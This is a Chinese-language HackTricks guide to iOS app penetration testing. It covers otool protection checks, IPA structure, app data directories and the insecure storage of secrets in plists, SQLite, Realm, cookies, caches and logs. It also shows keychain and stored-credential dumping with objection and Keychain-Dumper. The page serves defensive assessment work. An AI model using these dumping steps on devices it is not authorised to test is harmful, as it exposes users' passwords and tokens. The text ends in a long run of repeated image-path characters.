70 KiB
iOS渗透测试
使用Trickest轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者想要获得PEASS的最新版本或下载PDF格式的HackTricks吗?查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks衣物
- 加入💬 Discord群组或电报群组或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
iOS基础知识
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
测试环境
在本页面中,您可以找到关于iOS模拟器、模拟器和越狱的信息:
{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}
初始分析
基本iOS测试操作
在测试过程中,会建议进行多个操作(连接设备、读取/写入/上传/下载文件、使用一些工具...)。因此,如果您不知道如何执行这些操作,请开始阅读页面:
{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}
{% hint style="info" %}
对于以下步骤,应该已经在设备上安装了应用程序,并且已经获得了应用程序的IPA文件。
阅读基本iOS测试操作页面以了解如何执行此操作。
{% endhint %}
基本静态分析
建议使用工具MobSF对IPA文件进行自动静态分析。
识别二进制文件中存在的保护措施:
- PIE(位置无关可执行文件):启用后,应用程序每次启动时都会加载到随机的内存地址,使得难以预测其初始内存地址。
otool -hv <app-binary> | grep PIE # 应该包含PIE标志
- 堆栈保护:为了验证堆栈的完整性,在调用函数之前,在堆栈上放置一个“canary”值,并在函数结束后再次验证。
otool -I -v <app-binary> | grep stack_chk # 应该包含stack_chk_guard和stack_chk_fail符号
- ARC(自动引用计数):用于防止常见的内存损坏漏洞
otool -I -v <app-binary> | grep objc_release # 应该包含_objc_release符号
- 加密二进制文件:二进制文件应该是加密的
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid应该为1
识别敏感/不安全的函数
- 弱哈希算法
# 在iOS设备上
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"
# 在Linux上
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
- 不安全的随机函数
# 在iOS设备上
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"
# 在Linux上
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
- 不安全的'Malloc'函数
# 在iOS设备上
otool -Iv <app> | grep -w "_malloc"
# 在Linux上
grep -iER "_malloc"
- 不安全和易受攻击的函数
# 在iOS设备上
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"
# 在Linux上
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
基本动态分析
查看MobSF执行的动态分析。您需要浏览不同的视图并与其进行交互,但它将钩住几个类并执行其他操作,一旦完成,将生成一份报告。
列出已安装的应用程序
当针对设备上已安装的应用程序时,您首先需要找出要分析的应用程序的正确的包标识符。您可以使用frida-ps -Uai
命令获取连接的USB设备上当前已安装的所有应用程序(-a
)的信息(-i
):
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
基本枚举和Hooking
学习如何枚举应用程序的组件以及如何使用objection轻松hook方法和类:
{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}
IPA结构
.ipa
文件是压缩的包,因此您可以将扩展名更改为.zip
并对其进行解压缩。一个完整的打包好待安装的应用程序通常被称为Bundle。
解压缩后,您应该看到<NAME>.app
,一个包含其他资源的压缩存档。
Info.plist
:包含一些应用程序特定配置的文件。_CodeSignature/
包含一个plist文件,其中包含包中所有文件的签名。Assets.car
:另一个压缩存档,包含资源(图标)。Frameworks/
包含应用程序的本机库,以.dylib或.framework文件的形式。PlugIns/
可能包含应用程序扩展,以.appex文件的形式(在示例中未出现)。Core Data
:用于保存应用程序的离线永久数据,缓存临时数据,并在单个设备上为应用程序添加撤消功能。为了在单个iCloud帐户上跨多个设备同步数据,Core Data会自动将模式镜像到CloudKit容器中。PkgInfo
:PkgInfo
文件是指定应用程序或Bundle的类型和创建者代码的另一种方式。- en.lproj, fr.proj, Base.lproj:是包含特定语言资源的语言包,以及在不支持某种语言时的默认资源。
在iOS应用程序中,有多种定义UI的方式:storyboard, nib 或 xib 文件。
Info.plist
信息属性列表或Info.plist
是iOS应用程序的主要信息来源。它由一个结构化文件组成,其中包含描述应用程序的基本配置信息的键值对。实际上,所有打包的可执行文件(应用程序扩展、框架和应用程序)都应该有一个Info.plist
文件。您可以在Apple开发者文档中找到所有可能的键。
该文件可能以XML或二进制(bplist)格式进行格式化。您可以使用一个简单的命令将其转换为XML格式:
- 在macOS上使用
plutil
,这是一个与macOS 10.2及以上版本一起自带的工具(目前没有官方在线文档):
$ plutil -convert xml1 Info.plist
- 在Linux上:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
下面是一些信息及其在Info.plist
文件中对应的关键字的非详尽列表,您可以通过检查文件或使用grep -i <keyword> Info.plist
来轻松搜索Info.plist
文件中的这些关键字:
- 应用程序权限目的字符串:
UsageDescription
- 自定义URL schemes:
CFBundleURLTypes
- 导出/导入的自定义文档类型:
UTExportedTypeDeclarations
/UTImportedTypeDeclarations
- 应用程序传输安全(ATS)配置:
NSAppTransportSecurity
请参考相关章节,了解如何测试这些点。
数据路径
在iOS上,系统应用程序可以在/Applications
目录中找到,而用户安装的应用程序可以在**/private/var/containers/
下找到。然而,仅通过浏览文件系统来找到正确的文件夹并不是一项简单的任务,因为每个应用程序都会被分配一个随机的128位UUID**(通用唯一标识符)作为其目录名称。
为了轻松获取用户安装的应用程序的安装目录信息,您可以使用objection的env
命令,它还会显示应用程序的所有目录信息:
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
正如您所见,应用程序有两个主要位置:
- Bundle 目录 (
/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/
)。 - Data 目录 (
/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/
)。
这些文件夹包含在应用程序安全评估期间需要仔细检查的信息(例如分析存储的敏感数据时)。
Bundle 目录:
- AppName.app
- 这是之前在 IPA 中看到的应用程序包,它包含了必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
- 用户可以看到此目录,但用户无法对其进行写入。
- 此目录中的内容不会被备份。
- 此文件夹的内容用于验证代码签名。
Data 目录:
- Documents/
- 包含所有用户生成的数据。应用程序最终用户启动了此数据的创建。
- 用户可以看到此目录,且用户可以对其进行写入。
- 此目录中的内容会被备份。
- 应用程序可以通过设置
NSURLIsExcludedFromBackupKey
来禁用路径。 - Library/
- 包含所有非用户特定的文件,例如缓存、首选项、Cookie 和属性列表(plist)配置文件。
- iOS 应用程序通常使用
Application Support
和Caches
子目录,但应用程序可以创建自定义子目录。 - Library/Caches/
- 包含半持久性缓存文件。
- 用户无法看到此目录,且用户无法对其进行写入。
- 此目录中的内容不会被备份。
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
- Library/Application Support/
- 包含运行应用程序所需的持久性文件。
- 用户无法看到此目录,且用户无法对其进行写入。
- 此目录中的内容会被备份。
- 应用程序可以通过设置
NSURLIsExcludedFromBackupKey
来禁用路径。 - Library/Preferences/
- 用于存储可以在应用程序重新启动后仍然存在的属性。
- 信息以未加密的方式保存在应用程序沙盒中的一个名为 [BUNDLE_ID].plist 的 plist 文件中。
- 使用
NSUserDefaults
存储的所有键/值对都可以在此文件中找到。 - tmp/
- 使用此目录来写入不需要在应用程序启动之间保留的临时文件。
- 包含非持久性缓存文件。
- 用户无法看到此目录。
- 此目录中的内容不会被备份。
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
让我们仔细查看 Bundle 目录 (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
) 内的 iGoat-Swift 的应用程序包(.app)目录:
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
二进制反向工程
在 <application-name>.app
文件夹中,你会找到一个名为 <application-name>
的二进制文件。这是将要被执行的文件。你可以使用工具 otool
对二进制文件进行基本检查:
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
检查应用是否加密
查看以下内容是否有输出:
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
反汇编二进制文件
反汇编文本部分:
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
要打印示例应用程序的Objective-C段,可以使用以下方法:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
为了获得更紧凑的Objective-C代码,您可以使用class-dump工具:
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
然而,最好的反汇编二进制文件的选项是:Hopper和IDA。
使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
数据存储
要了解iOS如何在设备中存储数据,请阅读此页面:
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
{% hint style="warning" %}
应该在安装应用程序后立即检查以下存储信息的位置,在检查应用程序的所有功能之后,甚至在注销一个用户并登录为另一个用户之后进行检查。
目标是找到应用程序(密码、令牌)、当前用户和先前登录用户的未受保护的敏感信息。
{% endhint %}
Plist
plist文件是结构化的XML文件,包含键值对。这是一种存储持久数据的方式,因此有时您可能会在这些文件中找到敏感信息。建议在安装应用程序后和使用应用程序进行密集使用后检查这些文件,以查看是否写入了新数据。
在plist文件中持久保存数据的最常见方法是使用NSUserDefaults。此plist文件保存在应用程序沙盒中的**Library/Preferences/<appBundleID>.plist
**中。
NSUserDefaults
类提供了与默认系统交互的编程接口。默认系统允许应用程序根据用户偏好自定义其行为。由NSUserDefaults
保存的数据可以在应用程序包中查看。此类将数据存储在plist 文件中,但它适用于少量数据的使用。
这些数据无法直接通过受信任的计算机访问,但可以通过执行备份来访问。
您可以使用objection的ios nsuserdefaults get
命令转储使用**NSUserDefaults
**保存的信息。
要查找应用程序使用的所有plist文件,可以访问/private/var/mobile/Containers/Data/Application/{APPID}
并运行:
find ./ -name "*.plist"
该文件可能以XML或二进制(bplist)格式进行格式化。您可以使用一个简单的命令将其转换为XML格式:
- 在macOS上使用
plutil
,这是一个与macOS 10.2及以上版本一起提供的工具(目前没有官方在线文档):
$ plutil -convert xml1 Info.plist
- 在Linux上:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
- 在objection的会话中:
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
Core Data
Core Data
是一个用于管理应用程序中对象的模型层的框架。Core Data可以使用SQLite作为其持久存储,但该框架本身不是一个数据库。
CoreData默认不加密其数据。但是,可以向CoreData添加额外的加密层。有关更多详细信息,请参阅GitHub Repo。
您可以在路径/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
中找到应用程序的SQLite Core Data信息。
如果您可以打开SQLite并访问敏感信息,则找到了一个配置错误。
{% code title="来自iGoat的代码" %}
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
{% endcode %}
YapDatabase
YapDatabase是建立在SQLite之上的键值存储。
由于Yap数据库是SQLite数据库,您可以使用前一节中提到的命令找到它们。
其他SQLite数据库
应用程序通常会创建自己的SQLite数据库。它们可能会在其中存储敏感数据并将其保留为未加密状态。因此,检查应用程序目录中的每个数据库始终是有趣的。因此,请转到保存数据的应用程序目录(/private/var/mobile/Containers/Data/Application/{APPID}
)
find ./ -name "*.sqlite" -or -name "*.db"
Firebase实时数据库
它可以被应用程序开发人员利用来存储和同步数据到一个NoSQL云托管数据库。数据以JSON格式存储,并且实时同步到每个连接的客户端,即使应用程序离线时也保持可用。
您可以在此处找到如何检查配置错误的Firebase数据库的方法:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}
Realm数据库
Realm Objective-C和Realm Swift不是由Apple提供的,但仍值得注意。它们存储的内容都是未加密的,除非配置启用了加密。
您可以在/private/var/mobile/Containers/Data/Application/{APPID}
中找到这些数据库。
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
您可以使用工具Realm Studio来打开这些数据库文件。
以下示例演示了如何在Realm数据库中使用加密:
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Couchbase Lite数据库
Couchbase Lite是一个轻量级的嵌入式文档导向(NoSQL)数据库引擎,可以进行同步。它可以原生编译为iOS和macOS。
检查可能存在的Couchbase数据库的路径为/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
。
Cookies
iOS将应用程序的cookies存储在每个应用程序文件夹中的**Library/Cookies/cookies.binarycookies
中。然而,开发人员有时会决定将它们保存在钥匙串中,因为上述的cookie文件可以在备份中访问**。
要检查cookies文件,您可以使用这个Python脚本或使用objection的**ios cookies get
**命令。
您还可以使用objection将这些文件转换为JSON格式并检查数据。
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
缓存
默认情况下,NSURLSession将数据(如HTTP请求和响应)存储在Cache.db数据库中。如果令牌、用户名或任何其他敏感信息已被缓存,该数据库可能包含敏感数据。要查找缓存的信息,请打开应用程序的数据目录(/var/mobile/Containers/Data/Application/<UUID>
),然后转到/Library/Caches/<Bundle Identifier>
。WebKit缓存也存储在Cache.db文件中。Objection可以使用命令sqlite connect Cache.db
打开并与数据库进行交互,因为它是一个普通的SQLite数据库。
建议禁用缓存这些数据,因为请求或响应中可能包含敏感信息。下面的列表显示了实现此目的的不同方法:
- 建议在注销后删除缓存的响应。可以使用Apple提供的名为
removeAllCachedResponses
的方法来完成此操作。可以按以下方式调用此方法:
URLCache.shared.removeAllCachedResponses()
此方法将从Cache.db文件中删除所有缓存的请求和响应。 2. 如果不需要使用Cookie的优势,建议只使用URLSession的.ephemeral配置属性,它将禁用保存Cookie和缓存。
临时会话配置对象类似于默认会话配置(请参阅default),但相应的会话对象不会将缓存、凭据存储或任何会话相关数据存储到磁盘上。相反,会话相关数据存储在RAM中。只有在要求将URL的内容写入文件时,临时会话才会将数据写入磁盘。
3. 可以通过将缓存策略设置为.notAllowed来禁用缓存。它将禁止以任何方式存储缓存,无论是在内存中还是在磁盘上。
快照
每当按下主屏幕按钮时,iOS都会拍摄当前屏幕的快照,以便能够更平滑地切换到应用程序。然而,如果当前屏幕中存在敏感数据,它将被保存在图像中(该图像在重启后仍然存在)。这些快照也可以通过双击主屏幕来访问,以在应用程序之间切换。
除非iPhone已越狱,否则攻击者需要解锁设备才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用程序的沙盒中的Library/Caches/Snapshots/
或Library/SplashBoard/Snapshots
文件夹中(受信任的计算机无法从iOS 7.0访问文件系统)。
在拍摄快照之前,可以通过在ApplicationDidEnterBackground()
函数中放置空白屏幕或删除敏感数据来防止此不良行为。
以下是一个设置默认屏幕截图的示例修复方法。
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C是一种面向对象的编程语言,用于开发iOS应用程序。它是iOS平台上最常用的编程语言之一。Objective-C是C语言的超集,具有面向对象的特性,如封装、继承和多态。在iOS应用程序的渗透测试中,了解Objective-C语言是非常重要的,因为它是iOS应用程序的主要开发语言之一。
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
这将在应用程序进入后台时将背景图像设置为overlayImage.png
。它可以防止敏感数据泄露,因为overlayImage.png
将始终覆盖当前视图。
Keychain
可以使用Keychain-Dumper等工具来转储钥匙串(设备必须越狱)。
您还可以使用Objection中的ios keychain dump
命令。
NSURLCredential
NSURLCredential是在钥匙串中存储用户名和密码的完美类。不需要使用NSUserDefaults或任何钥匙串包装器。
一旦用户登录,您可以将他的用户名和密码存储到钥匙串中:
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
您可以使用Objection的ios nsurlcredentialstorage dump
命令来导出这些秘密信息。
自定义键盘/键盘缓存
从iOS 8.0开始,Apple允许安装自定义扩展,如自定义键盘。
安装的键盘可以通过设置 > 通用 > 键盘 > 键盘进行管理。
自定义键盘可以用于嗅探按键并将其发送到攻击者的服务器。但是,请注意,需要网络连接的自定义键盘将通知用户。
此外,用户可以切换到其他(更可信任的)键盘以输入凭据。
此外,应用程序可以阻止用户在应用程序中使用自定义键盘(或者至少在应用程序的敏感部分中阻止使用)。
{% hint style="warning" %} 如果您认为用户不需要第三方键盘,则建议不要允许其使用。 {% endhint %}
请注意,由于自动更正和自动建议,如果属性securetTextEntry未设置为true或autoCorrectionType未设置为UITextAutoCorrectionTypeNo,默认的iOS键盘将捕获和存储每个非标准单词的缓存文件。
默认情况下,键盘将此缓存存储在应用程序沙盒中的Library/Keyboard/{locale}-dynamic-text.dat
文件或/private/var/mobile/Library/Keyboard/dynamic-text.dat
文件中。但是,它也可能将数据保存在其他位置。
可以在_设置_ > 通用 > 重置 > _重置键盘字典_中重置缓存。
{% hint style="info" %}
因此,始终检查这些文件并搜索可能的敏感信息。
拦截网络流量是检查自定义键盘是否将按键发送到远程服务器的另一种方法。
{% endhint %}
键盘缓存使用了UITextInputTraits协议。UITextField、UITextView和UISearchBar类自动支持此协议,并提供以下属性:
var autocorrectionType: UITextAutocorrectionType
确定在输入时是否启用自动更正。当启用自动更正时,文本对象会跟踪未知单词并建议合适的替换,除非用户覆盖替换,否则会自动替换输入的文本。此属性的默认值为UITextAutocorrectionTypeDefault
,对于大多数输入方法都启用了自动更正。var secureTextEntry: BOOL
确定是否禁用文本复制和文本缓存,并隐藏正在输入的文本(对于UITextField
)。此属性的默认值为NO
。
要在代码中识别此行为:
- 在源代码中搜索类似的实现,例如
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
- 在Xcode的“Interface Builder”中打开xib和storyboard文件,并在适当的对象的“Attributes Inspector”中验证“Secure Text Entry”和“Correction”的状态。
应用程序必须防止敏感信息输入到文本字段中进行缓存。您可以通过在所需的UITextFields、UITextViews和UISearchBars中使用textObject.autocorrectionType = UITextAutocorrectionTypeNo
指令来以编程方式禁用缓存。对于应该被屏蔽的数据,例如PIN码和密码,请将textObject.secureTextEntry
设置为YES
。
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
日志
调试代码最常见的方法是使用日志记录,而应用程序可能会在日志中打印敏感信息。
在iOS 6及以下版本中,日志是可读的(恶意应用程序可以读取其他应用程序的日志并从中提取敏感信息)。现在,应用程序只能访问自己的日志。
然而,攻击者如果能够物理接触到一个解锁的设备,可以将其连接到计算机并读取日志(请注意,应用程序写入磁盘的日志在卸载应用程序时不会被删除)。
建议浏览应用程序的所有屏幕,与每个UI元素进行交互,并在所有文本字段中提供输入文本,并查看日志以寻找暴露的敏感信息。
使用以下关键字检查应用程序的源代码以查找预定义和自定义的日志记录语句:
- 预定义和内置函数:
- NSLog
- NSAssert
- NSCAssert
- fprintf
- 自定义函数:
- Logging
- Logfile
监控系统日志
许多应用程序将信息性(和潜在敏感的)消息记录到控制台日志中。日志还包含崩溃报告和其他有用信息。
您可以使用以下工具:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To get the device logs
您可以通过Xcode的设备窗口收集控制台日志,具体步骤如下:
- 启动Xcode。
- 将您的设备连接到主机计算机。
- 选择窗口 -> 设备和模拟器。
- 在设备窗口的左侧部分点击您连接的iOS设备。
- 重现问题。
- 点击设备窗口右上角的打开控制台按钮,在单独的窗口中查看控制台日志。
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 